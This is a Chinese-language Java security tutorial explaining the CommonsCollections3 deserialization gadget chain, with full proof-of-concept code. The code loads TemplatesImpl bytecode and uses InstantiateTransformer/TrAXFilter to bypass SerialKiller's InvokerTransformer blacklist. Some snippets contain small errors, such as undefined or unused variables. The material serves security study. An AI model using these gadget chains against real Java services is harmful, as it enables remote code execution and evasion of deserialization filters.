前言
上一篇文章学习了Java中加载字节码的⼀些⽅法，其中介绍了TemplatesImpl，TemplatesImpl 是⼀个可以加载字节码的类，通过调⽤其newTransformer()⽅法，即可执⾏这段字节码的类构造器。
分析
在CC1中，我们说可以利⽤TransformedMap执⾏任意Java⽅法；
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:/Windows/System32/calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } } ⽽在Java安全之动态加载字节码中，我们⼜学习了如何利⽤TemplatesImpl执⾏字节码
public static void main(String[] args) throws Exception { // source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); } } 只需要结合这两段POC，即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤ 链：只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改 成 TemplatesImpl::newTransformer() ，即为
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) }; 完整POC如下:
public class a { public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, Value); } public static void main(String[] args) throws Exception { // source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) }; Transformer chian = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMaP = TransformedMap.decorate(innerMap, null, null); outerMaP.put("test", "xxxx"); } } 我们来分析一下为什么可以这样构造。
首先在java安全之CC1浅学(1) 中，我们了解到CC链其核心原理是InvokerTransformer#transform，可以执行任意方法。
在Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码的调用链前边TemplatesImpl#newTransformer()
那么我们可以将InvokerTransformer参数由原来的exec()方法换成newTransformer()方法，这样就组成了一条新的链
由于我们这里依旧使用了TransformedMap所以版本依旧限制在8U71之前
成功执行字节码
ysoserial
再来看ysoserial中的CC3，可以发现其中没有使⽤到InvokerTransformer原因是什么呢？
2015年初，@frohoff和@gebl发布了 Marshalling Pickles：how deserializing objects will ruin your day，以及反序列化利用工具yaoserial，安全开发者自然会去寻找一种安全的过滤方法，类似SerialKiller这样的工具随之诞生：
SerialKiller是⼀个Java反序列化过滤器，可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中，我们可以看到其给出了最初的⿊名单
这个⿊名单中InvokerTransformer赫然在列，也就切断了CommonsCollections1的利⽤链。ysoserial随后增加了不少新的Gadgets，其中就包括CommonsCollections3。
CommonsCollections3的⽬的很明显，就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法，⽽是⽤到了另⼀个 类， com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer(),免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步
当然，缺少了InvokerTransformer，TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer，就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer也是⼀个实现了Transformer接⼝的类，他的作⽤就是调⽤构造⽅法.
目标很明确了，利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法，再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码
构造的Transformer调⽤链如下：
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj }) }; 替换到前⾯的demo中，也能成功触发，避免了使⽤InvokerTransformer
接下来，就来构造一个完整的Payload：
public class CC3 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj }) }; Transformer chain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); setFieldValue(transformerChain, "iTransformers", transformers); // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); // 本地测试触发 // System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } } 这个POC也有CommonsCollections1⼀样的问题，就是只⽀持Java 8u71及以下版本，我们可以参考Java安全之CC6 进行改造让其能通杀Java7和Java8。
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